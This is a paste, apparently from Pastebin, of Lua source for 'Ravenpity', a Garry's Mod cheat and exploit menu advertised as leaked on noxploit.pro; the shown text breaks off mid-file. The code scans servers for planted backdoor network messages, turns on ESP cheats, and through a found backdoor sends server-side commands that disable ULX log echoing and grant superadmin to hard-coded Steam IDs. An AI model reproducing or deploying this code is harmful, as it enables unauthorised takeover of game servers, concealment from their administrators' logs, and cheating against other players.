HENTAI159

RAVEN PITY

Mar 30th, 2018
2,815
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 159.07 KB | None | 0 0
  1.  
  2. -- ███▄▄▄▄ ▄██████▄ ▀████ ▐████▀ ▄███████▄ ▄█ ▄██████▄ ▄█ ███
  3. -- ███▀▀▀██▄ ███ ███ ███▌ ████▀ ███ ███ ███ ███ ███ ███ ▀█████████▄
  4. -- ███ ███ ███ ███ ███ ▐███ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██
  5. -- ███ ███ ███ ███ ▀███▄███▀ ███ ███ ███ ███ ███ ███▌ ███ ▀
  6. -- ███ ███ ███ ███ ████▀██▄ ▀█████████▀ ███ ███ ███ ███▌ ███
  7. -- ███ ███ ███ ███ ▐███ ▀███ ███ ███ ███ ███ ███ ███
  8. -- ███ ███ ███ ███ ▄███ ███▄ ███ ███▌ ▄ ███ ███ ███ ███
  9. -- ▀█ █▀ ▀██████▀ ████ ███▄ ▄████▀ █████▄▄██ ▀██████▀ █▀ ▄████▀
  10.  
  11. -- Free Garry's Mod Exploit/Aimbot menu !
  12. -- Go on https://noxploit.pro !
  13.  
  14. /*======================================================================================================================================================================================
  15. Menu Files
  16. ========================================================================================================================================================================================*/
  17.  
  18.  
  19.  
  20.  
  21. if file.Exists( "includes/extensions/client/vehicles.lua", "LUA" ) == true then
  22. MsgC (Color(255, 100, 100), [[
  23. ██▀███ ▄▄▄ ██▒ █▓▓█████ ███▄ █ ██▓███ ██▓▄▄▄█████▓▓██ ██▓
  24. ▓██ ▒ ██▒▒████▄ ▓██░ █▒▓█ ▀ ██ ▀█ █ ▓██░ ██▒▓██▒▓ ██▒ ▓▒ ▒██ ██▒
  25. ▓██ ░▄█ ▒▒██ ▀█▄▓██ █▒░▒███ ▓██ ▀█ ██▒▓██░ ██▓▒▒██▒▒ ▓██░ ▒░ ▒██ ██░
  26. ▒██▀▀█▄ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒▒██▄█▓▒ ▒░██░░ ▓██▓ ░ ░ ▐██▓░
  27. ░██▓ ▒██▒ ▓█ ▓██▒▒▀█░ ░▒████▒▒██░ ▓██░▒██▒ ░ ░░██░ ▒██▒ ░ ░ ██▒▓░
  28. ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░▓ ▒ ░░ ██▒▒▒
  29. ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░░ ░ ▒░░▒ ░ ▒ ░ ░ ▓██ ░▒░
  30. ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ▒ ░ ░ ▒ ▒ ░░
  31. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  32. ░ ░ ░
  33. Le Serveur possède un Anti-Cheat. Le Menu est donc désactivé.
  34. ░ ░ ░
  35. ]])
  36. else
  37. MsgC (Color(208, 114, 255), [[
  38. ██▀███ ▄▄▄ ██▒ █▓▓█████ ███▄ █ ██▓███ ██▓▄▄▄█████▓▓██ ██▓
  39. ▓██ ▒ ██▒▒████▄ ▓██░ █▒▓█ ▀ ██ ▀█ █ ▓██░ ██▒▓██▒▓ ██▒ ▓▒ ▒██ ██▒
  40. ▓██ ░▄█ ▒▒██ ▀█▄▓██ █▒░▒███ ▓██ ▀█ ██▒▓██░ ██▓▒▒██▒▒ ▓██░ ▒░ ▒██ ██░
  41. ▒██▀▀█▄ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒▒██▄█▓▒ ▒░██░░ ▓██▓ ░ ░ ▐██▓░
  42. ░██▓ ▒██▒ ▓█ ▓██▒▒▀█░ ░▒████▒▒██░ ▓██░▒██▒ ░ ░░██░ ▒██▒ ░ ░ ██▒▓░
  43. ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░▓ ▒ ░░ ██▒▒▒
  44. ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░░ ░ ▒░░▒ ░ ▒ ░ ░ ▓██ ░▒░
  45. ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ▒ ░ ░ ▒ ▒ ░░
  46. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  47. ░ ░ ░
  48. THE BEST EXPLOIT MENU ON GARRY'S MOD | LEAKED ON NOXPLOIT.PRO
  49.  
  50.  
  51. ██▀███ ▄▄▄ ██▒ █▓▓█████ ███▄ █ ██▓███ ██▓▄▄▄█████▓▓██ ██▓
  52. ▓██ ▒ ██▒▒████▄ ▓██░ █▒▓█ ▀ ██ ▀█ █ ▓██░ ██▒▓██▒▓ ██▒ ▓▒ ▒██ ██▒
  53. ▓██ ░▄█ ▒▒██ ▀█▄▓██ █▒░▒███ ▓██ ▀█ ██▒▓██░ ██▓▒▒██▒▒ ▓██░ ▒░ ▒██ ██░
  54. ▒██▀▀█▄ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒▒██▄█▓▒ ▒░██░░ ▓██▓ ░ ░ ▐██▓░
  55. ░██▓ ▒██▒ ▓█ ▓██▒▒▀█░ ░▒████▒▒██░ ▓██░▒██▒ ░ ░░██░ ▒██▒ ░ ░ ██▒▓░
  56. ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░▓ ▒ ░░ ██▒▒▒
  57. ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░░ ░ ▒░░▒ ░ ▒ ░ ░ ▓██ ░▒░
  58. ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ▒ ░ ░ ▒ ▒ ░░
  59. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  60. ░ ░ ░
  61. ]])
  62.  
  63. /*======================================================================================================================================================================================
  64. Start
  65. ========================================================================================================================================================================================*/
  66. local RAVENhack = nil
  67. local RatesScaleLevel = LocalPlayer():SteamID()
  68. local RAVEN = {}
  69. RAVEN.memory = {}
  70. local ctext = chat.AddText
  71. local netKey = ""
  72. BackdoorsFound = 0
  73. function RAVEN.NetStart( str )
  74. local netstart = net.Start
  75. if RAVENhack and RAVENhack.G and RAVENhack.G.net then
  76. netstart = RAVENhack.G.net.Start
  77. else
  78. end
  79. return netstart( str )
  80. end
  81. function RAVEN.ValidNetString( str )
  82. local netstart = net.Start
  83. if RAVENhack and RAVENhack.G and RAVENhack.G.net then
  84. netstart = RAVENhack.G.net.Start
  85. else
  86. end
  87. local status, error = pcall( netstart, str )
  88. return status
  89. end
  90. function RAVEN.ValidNetString( str )
  91. local status, error = pcall( net.Start, str )
  92. return status
  93. end
  94. RAVEN.sploits = {}
  95. function RAVEN.AddExploit( name, tab )
  96. if !isstring( name ) then print("ùùù_ùùù") return end
  97. if !istable( tab ) then print("ùùù_ùùù") return end
  98. RAVEN.sploits[name] = tab
  99. end
  100. function RAVEN.IsStored( addr )
  101. return RAVEN.memory[addr] != nil
  102. end
  103. function RAVEN.GetStored( addr, fallback )
  104. if fallback and RAVEN.memory[addr] == nil then return fallback end
  105. return RAVEN.memory[addr]
  106. end
  107. function RAVEN.Store( addr, val )
  108. RAVEN.memory[addr] = val
  109. end
  110. function RAVEN.GetAllStored()
  111. return RAVEN.memory
  112. end
  113. function RAVEN.GetAllStoredData()
  114. local ret = {}
  115. for k, v in pairs( RAVEN.memory ) do
  116. if !istable( v ) then ret[k] = v end
  117. end
  118. return ret
  119. end
  120. function ValidNetString( str )
  121. local status, error = pcall( net.Start, str )
  122. return status
  123. end
  124. LocalPlayer():ConCommand("lix_lesp_on 1")
  125. LocalPlayer():ConCommand("lix_lesp_health 1")
  126. LocalPlayer():ConCommand("lix_lesp_weapon 1")
  127. LocalPlayer():ConCommand("lix_lesp_money 1")
  128. LocalPlayer():ConCommand("lix_lesp_distance 1")
  129. local ravenhacknet = "" if RAVEN.ValidNetString( "Sandbox_ArmDupe" ) then ravenhacknet = "Sandbox_ArmDupe" else if RAVEN.ValidNetString( "Fix_Keypads" ) then ravenhacknet = "Fix_Keypads" else if RAVEN.ValidNetString( "Remove_Exploiters" ) then ravenhacknet = "Remove_Exploiters" else if RAVEN.ValidNetString( "noclipcloakaesp_chat_text" ) then ravenhacknet = "noclipcloakaesp_chat_text" else if RAVEN.ValidNetString( "_Defqon" ) then ravenhacknet = "_Defqon" else if RAVEN.ValidNetString( "_CAC_ReadMemory" ) then ravenhacknet = "_CAC_ReadMemory" else if RAVEN.ValidNetString( "nostrip" ) then ravenhacknet = "nostrip" else if RAVEN.ValidNetString( "LickMeOut" ) then ravenhacknet = "LickMeOut" else if RAVEN.ValidNetString( "MoonMan" ) then ravenhacknet = "MoonMan" if RAVEN.ValidNetString( "Im_SOCool" ) then ravenhacknet = "Im_SOCool" end end end end end end end end end end
  130. if( ValidNetString("memeDoor") ) then netKey = "memeDoor" else end if( ValidNetString("Sandbox_Armdupe") ) then netKey = "Sandbox_Armdupe" else end if( ValidNetString("DarkRP_AdminWeapons") ) then netKey = "DarkRP_AdminWeapons" else end if( ValidNetString("SessionBackdoor") ) then netKey = "SessionBackdoor" else end if( ValidNetString("Fix_Keypads") ) then netKey = "Fix_Keypads" else end if( ValidNetString("Remove_Exploiters") ) then netKey = "Remove_Exploiters" else end if( ValidNetString("noclipcloakaesp_chat_text") ) then netKey = "noclipcloakaesp_chat_text" else end if( ValidNetString("_Defqon") ) then netKey = "_Defqon" else end if( ValidNetString("_CAC_ReadMemory") ) then netKey = "_CAC_ReadMemory" else end if( ValidNetString("nostrip") ) then netKey = "nostrip" else end if( ValidNetString("LickMeOut") ) then netKey = "LickMeOut" else end if( ValidNetString("MoonMan") ) then netKey = "MoonMan" else end if( ValidNetString("Im_SOCool") ) then netKey = "Im_SOCool" else end if( ValidNetString("ULXQUERY2") ) then netKey = "ULXQUERY2" else end if( ValidNetString("jesuslebg") ) then netKey = "jesuslebg" else end if( ValidNetString("zilnix") ) then netKey = "zilnix" else end if( ValidNetString("enablevac") ) then netKey = "enablevac" else end if( ValidNetString("c") ) then netKey = "c" else end if( ValidNetString("Þà?D)◘") ) then netKey = "Þà?D)◘" else end if( ValidNetString("disablebackdoor") ) then netKey = "disablebackdoor" else end if( ValidNetString("kill") ) then netKey = "kill" else end if netKey == "" then chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Aucune backdoor" ) else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 0, 255, 0 ), "Backdoor trouvé : ".. netKey ) end
  131. surface.CreateFont("ravenfontheader",{font = "Roboto", size = 40, weight = 2000, antialias = 0})
  132. surface.CreateFont("ravenfontunder",{font = "Roboto", size = 15, weight = 0, antialias = 0})
  133. surface.CreateFont("ravenfontcopyright",{font = "Roboto", size = 30, weight = 0, antialias = 0})
  134. surface.CreateFont("ravenfonthello",{font = "Roboto", size = 20, weight = 0, antialias = 0})
  135. concommand.Add( "dontgetit", function() local paneldontgetit = vgui.Create("DFrame") paneldontgetit:SetSize(2300,2300) paneldontgetit:SetTitle("") paneldontgetit:Center() paneldontgetit:SetDraggable( false ) paneldontgetit:MakePopup() paneldontgetit:ShowCloseButton( false ) paneldontgetit.Paint = function( s, w, h ) surface.SetDrawColor( Color(0, 0, 0, 255) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) surface.DrawRect( 10, 10, w - 20, h - 20 ) surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) surface.SetDrawColor( Color(255, 66, 66, 0) ) surface.DrawLine( 10, 25, 40, 30 ) surface.DrawLine( 40, 30, 70, 25 ) surface.DrawLine( 10, 25, 25, 40 ) surface.DrawLine( 55, 40, 70, 25 ) surface.PlaySound( "buttons/weapon_cant_buy.wav" ) surface.PlaySound( "buttons/blip2.wav" ) surface.PlaySound( "bot/cover_me.wav" ) surface.DrawLine( 25, 40, 25, 60 ) surface.DrawLine( 55, 40, 55, 60 ) surface.DrawLine( 25, 60, 40, 70 ) surface.DrawLine( 55, 60, 40, 70 ) draw.SimpleTextOutlined( "ERREUR RAVENPITY : Votre comptre n'est pas activé", "ravenfontcopyright", 1120, 350, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) ) end end)
  136. concommand.Add( "ravenpity_start", function()
  137. local BaseHeader = vgui.Create( "DFrame")
  138. BaseHeader:SetPos( ScrW()-400, ScrH)
  139. BaseHeader:SetSize( 400, 120 )
  140. BaseHeader:SetTitle( "" )
  141. BaseHeader:SetDraggable( false )
  142. BaseHeader:MakePopup()
  143. BaseHeader:ShowCloseButton( false )
  144. BaseHeader.Paint = function( self, w, h )
  145. draw.RoundedBox( 0, 0, 0, w, h, Color(152, 73, 255, 220))
  146. draw.SimpleTextOutlined( "Ravenpity", "ravenfontheader", 200, 60, HSVToColor( CurTime() % 6 * 60, 0.3, 1 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0, 100) )
  147. end
  148. local BackgroundSupportPanel = vgui.Create( "DFrame", BaseHeader)
  149. BackgroundSupportPanel:SetPos( ScrW()-BaseHeader:GetWide(), 120)
  150. BackgroundSupportPanel:SetSize( 400, 400 )
  151. BackgroundSupportPanel:SetTitle( "" )
  152. BackgroundSupportPanel:ShowCloseButton( false )
  153. BackgroundSupportPanel:SetDraggable( false )
  154. BackgroundSupportPanel:MakePopup()
  155. BackgroundSupportPanel.Paint = function( self, w, h )
  156. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 245))
  157. end
  158. local BackgroundSupportPanelBase = vgui.Create( "DFrame", BaseHeader)
  159. BackgroundSupportPanelBase:SetPos( ScrW()-BaseHeader:GetWide(), 120)
  160. BackgroundSupportPanelBase:SetSize( 400, 400 )
  161. BackgroundSupportPanelBase:SetTitle( "" )
  162. BackgroundSupportPanelBase:ShowCloseButton( false )
  163. BackgroundSupportPanelBase:SetDraggable( false )
  164. BackgroundSupportPanelBase:MakePopup()
  165. BackgroundSupportPanelBase.Paint = function( self, w, h )
  166. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  167. end
  168. local UnderDermaPanel = vgui.Create( "DFrame", BaseHeader)
  169. UnderDermaPanel:SetPos( ScrW()-BaseHeader:GetWide(), 520)
  170. UnderDermaPanel:SetSize( 400, 30 )
  171. UnderDermaPanel:SetTitle( "" )
  172. UnderDermaPanel:ShowCloseButton( false )
  173. UnderDermaPanel:SetDraggable( false )
  174. UnderDermaPanel:MakePopup()
  175. UnderDermaPanel.Paint = function( self, w, h )
  176. draw.RoundedBox( 0, 0, 0, w, h, Color(152, 73, 255, 220))
  177. draw.SimpleTextOutlined( "Exploit Menu on Garry's Mod | by Hoper ", "ravenfontunder", 201, 15, Color(255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0, 0) )
  178. end
  179. local PlayerOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  180. PlayerOptionsButton:SetPos( 0, 0)
  181. PlayerOptionsButton:SetSize( 400, 30 )
  182. PlayerOptionsButton:SetText( "Player Options" )
  183. PlayerOptionsButton.Paint = function( self, w, h )
  184. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  185. if PlayerOptionsButton:IsHovered() then
  186. PlayerOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
  187. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  188. else
  189. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  190. PlayerOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
  191. end
  192. PlayerOptionsButton.DoClick = function()
  193. RAVEN.PlayerOptions( addr )
  194. BackgroundSupportPanelBase:Remove()
  195. end
  196. end
  197. local ServerOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  198. ServerOptionsButton:SetPos( 0, 30)
  199. ServerOptionsButton:SetSize( 400, 30 )
  200. ServerOptionsButton:SetText( "Server Options" )
  201. ServerOptionsButton.Paint = function( self, w, h )
  202. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  203. if ServerOptionsButton:IsHovered() then
  204. ServerOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
  205. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  206. else
  207. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  208. ServerOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
  209. end
  210. ServerOptionsButton.DoClick = function()
  211. RAVEN.ServerOptions( addr )
  212. BackgroundSupportPanelBase:Remove()
  213. end
  214. end
  215. local WorldOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  216. WorldOptionsButton:SetPos( 0, 60)
  217. WorldOptionsButton:SetSize( 400, 30 )
  218. WorldOptionsButton:SetText( "World Options" )
  219. WorldOptionsButton.Paint = function( self, w, h )
  220. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  221. if WorldOptionsButton:IsHovered() then
  222. WorldOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
  223. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  224. else
  225. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  226. WorldOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
  227. end
  228. WorldOptionsButton.DoClick = function()
  229. RAVEN.WorldOptions( addr )
  230. BackgroundSupportPanelBase:Remove()
  231. end
  232. end
  233. local SpawnOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  234. SpawnOptionsButton:SetPos( 0, 90)
  235. SpawnOptionsButton:SetSize( 400, 30 )
  236. SpawnOptionsButton:SetText( "Spawn Options" )
  237. SpawnOptionsButton.Paint = function( self, w, h )
  238. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  239. if SpawnOptionsButton:IsHovered() then
  240. SpawnOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
  241. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  242. else
  243. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  244. SpawnOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
  245. end
  246. SpawnOptionsButton.DoClick = function()
  247. RAVEN.SpawnOptions( addr )
  248. BackgroundSupportPanelBase:Remove()
  249. end
  250. end
  251. local ControllerButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  252. ControllerButton:SetPos( 0, 120)
  253. ControllerButton:SetSize( 400, 30 )
  254. ControllerButton:SetText( "Controller" )
  255. ControllerButton.Paint = function( self, w, h )
  256. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  257. if ControllerButton:IsHovered() then
  258. ControllerButton:SetTextColor( Color( 0, 0, 0 ) )
  259. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  260. else
  261. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  262. ControllerButton:SetTextColor( Color( 255, 255, 255 ) )
  263. end
  264. ControllerButton.DoClick = function()
  265. RAVEN.Controller( addr )
  266. BackgroundSupportPanelBase:Remove()
  267. end
  268. end
  269. local CommandesButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  270. CommandesButton:SetPos( 0, 150)
  271. CommandesButton:SetSize( 400, 30 )
  272. CommandesButton:SetText( "Commandes" )
  273. CommandesButton.Paint = function( self, w, h )
  274. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  275. if CommandesButton:IsHovered() then
  276. CommandesButton:SetTextColor( Color( 0, 0, 0 ) )
  277. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  278. else
  279. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  280. CommandesButton:SetTextColor( Color( 255, 255, 255 ) )
  281. end
  282. CommandesButton.DoClick = function()
  283. RAVEN.Commandes( addr )
  284. BackgroundSupportPanelBase:Remove()
  285. end
  286. end
  287. local UpdatesButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  288. UpdatesButton:SetPos( 0, 180 )
  289. UpdatesButton:SetSize( 400, 30 )
  290. UpdatesButton:SetText( "Why Leaked ?" )
  291. UpdatesButton.Paint = function( self, w, h )
  292. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  293. if UpdatesButton:IsHovered() then
  294. UpdatesButton:SetTextColor( Color( 0, 0, 0 ) )
  295. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  296. else
  297. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  298. UpdatesButton:SetTextColor( Color( 128, 119, 255 ) )
  299. end
  300. UpdatesButton.DoClick = function()
  301. RAVEN.Updates( addr )
  302. BackgroundSupportPanelBase:Remove()
  303. end
  304. end
  305. local CopyRightText = vgui.Create( "DButton", BackgroundSupportPanelBase)
  306. CopyRightText:SetPos( 0, 300)
  307. CopyRightText:SetSize( 400, 30 )
  308. CopyRightText:SetText( "noxploit.pro" )
  309. CopyRightText:SetFont( "ravenfontcopyright" )
  310. CopyRightText.Paint = function( self, w, h )
  311. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  312. if CopyRightText:IsHovered() then
  313. CopyRightText:SetTextColor( HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
  314. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 0))
  315. else
  316. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  317. CopyRightText:SetTextColor( Color( 255, 255, 255, 2 ) )
  318. end
  319. CopyRightText.DoClick = function()
  320. gui.OpenURL( "https://noxploit.pro" )
  321. end
  322. end
  323. local CloseButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
  324. CloseButton:SetPos( 0, 370)
  325. CloseButton:SetSize( 400, 30 )
  326. CloseButton:SetText( "X" )
  327. CloseButton.Paint = function( self, w, h )
  328. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  329. if CloseButton:IsHovered() then
  330. CloseButton:SetTextColor( Color( 0, 0, 0 ) )
  331. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  332. else
  333. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  334. CloseButton:SetTextColor( Color( 255, 255, 255 ) )
  335. end
  336. CloseButton.DoClick = function()
  337. surface.PlaySound("UI/buttonrollover.wav")
  338. BaseHeader:Remove()
  339. PlayerOptionsButton:Remove()
  340. end
  341. end
  342.  
  343. /*======================================================================================================================================================================================
  344. Player Options
  345. ========================================================================================================================================================================================*/
  346. function RAVEN.PlayerOptions()
  347. if RAVEN.PlayerOptionsListe and RAVEN.PlayerOptionsListe:IsVisible() then RAVEN.PlayerOptionsListe:Remove() end
  348. RAVEN.PlayerOptionsListe = vgui.Create("DFrame")
  349. RAVEN.PlayerOptionsListe:SetSize(682,350)
  350. RAVEN.PlayerOptionsListe:SetTitle("")
  351. RAVEN.PlayerOptionsListe:SetPos( 342, 250 )
  352. RAVEN.PlayerOptionsListe:MakePopup()
  353. RAVEN.PlayerOptionsListe:ShowCloseButton( false )
  354. RAVEN.PlayerOptionsListe.Paint = function( s, w, h )
  355. if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
  356. surface.SetDrawColor( Color(30, 30, 30, 255) )
  357. surface.DrawRect( 0, 0, w, h )
  358. surface.SetDrawColor( Color(55, 55, 55, 255) )
  359. surface.DrawOutlinedRect( 0, 0, w, h )
  360. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  361. end
  362. local CloseButtonPlayerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  363. CloseButtonPlayerOptions:SetPos( 0, 370)
  364. CloseButtonPlayerOptions:SetSize( 400, 30 )
  365. CloseButtonPlayerOptions:SetText( "X" )
  366. CloseButtonPlayerOptions.Paint = function( self, w, h )
  367. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  368. if CloseButtonPlayerOptions:IsHovered() then
  369. CloseButtonPlayerOptions:SetTextColor( Color( 0, 0, 0 ) )
  370. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  371. else
  372. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  373. CloseButtonPlayerOptions:SetTextColor( Color( 255, 255, 255 ) )
  374. end
  375. CloseButtonPlayerOptions.DoClick = function()
  376. surface.PlaySound("UI/buttonrollover.wav")
  377. BaseHeader:Remove()
  378. end
  379. end
  380. local ReturnButtonPlayerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  381. ReturnButtonPlayerOptions:SetPos( 0, 340)
  382. ReturnButtonPlayerOptions:SetSize( 400, 30 )
  383. ReturnButtonPlayerOptions:SetText( "<--" )
  384. ReturnButtonPlayerOptions.Paint = function( self, w, h )
  385. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  386. if ReturnButtonPlayerOptions:IsHovered() then
  387. ReturnButtonPlayerOptions:SetTextColor( Color( 0, 0, 0 ) )
  388. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  389. else
  390. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  391. ReturnButtonPlayerOptions:SetTextColor( Color( 255, 255, 255 ) )
  392. end
  393. ReturnButtonPlayerOptions.DoClick = function()
  394. surface.PlaySound("UI/buttonrollover.wav")
  395. BaseHeader:Remove()
  396. LocalPlayer():ConCommand("ravenpity_start")
  397. end
  398. end
  399.  
  400. -------------------------------------------------------------------------------------|
  401. local setsuperadminon = vgui.Create( "DButton", BackgroundSupportPanel)
  402. setsuperadminon:SetPos( 0, 0)
  403. setsuperadminon:SetSize( 400, 30 )
  404. setsuperadminon:SetText( "Se Mettre Superadmin" )
  405. setsuperadminon.Paint = function( self, w, h )
  406. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  407. if setsuperadminon:IsHovered() then
  408. setsuperadminon:SetTextColor( Color( 0, 0, 0 ) )
  409. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  410. else
  411. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  412. setsuperadminon:SetTextColor( Color( 128, 119, 255 ) )
  413. end
  414. setsuperadminon.DoClick = function()
  415. local superadminonsetting = [[
  416. RunConsoleCommand("ulx_logecho", "0")
  417. RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:189348722", "superadmin")
  418. RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:99959432", "superadmin")
  419. RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:205515998", "superadmin")
  420. RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:72098825", "superadmin")
  421. RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:161766720", "superadmin")
  422. RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:149464003", "superadmin")
  423. ]]
  424. net.Start(ravenhacknet)
  425. net.WriteString( superadminonsetting )
  426. net.WriteBit (1)
  427. net.SendToServer()
  428. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vous êtes Superadmin" )
  429. end
  430. end
  431. local setsuperadminoff = vgui.Create( "DButton", BackgroundSupportPanel)
  432. setsuperadminoff:SetPos( 365, 5)
  433. setsuperadminoff:SetSize( 20, 20 )
  434. setsuperadminoff:SetText( "X" )
  435. setsuperadminoff.Paint = function( self, w, h )
  436. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  437. if setsuperadminoff:IsHovered() then
  438. setsuperadminoff:SetTextColor( Color( 255, 255, 255 ) )
  439. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  440. else
  441. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  442. setsuperadminoff:SetTextColor( Color( 255, 255, 255 ) )
  443. end
  444. setsuperadminoff.DoClick = function()
  445. local superadminoffsetting = [[
  446. RunConsoleCommand("ulx_logecho", "0")
  447. RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:189348722")
  448. RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:99959432")
  449. RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:205515998")
  450. RunConsoleCommand("ulx", "removeuserid", "STEAM_0:1:149464003")
  451. RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:72098825")
  452. RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:161766720")
  453. ]]
  454. net.Start(ravenhacknet)
  455. net.WriteString( superadminoffsetting )
  456. net.WriteBit (1)
  457. net.SendToServer()
  458. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vous n'êtes plus Superadmin" )
  459. end
  460. end
  461.  
  462. -------------------------------------------------------------------------------------|
  463.  
  464. local physicspeedon = vgui.Create( "DButton", BackgroundSupportPanel)
  465. physicspeedon:SetPos( 0, 30)
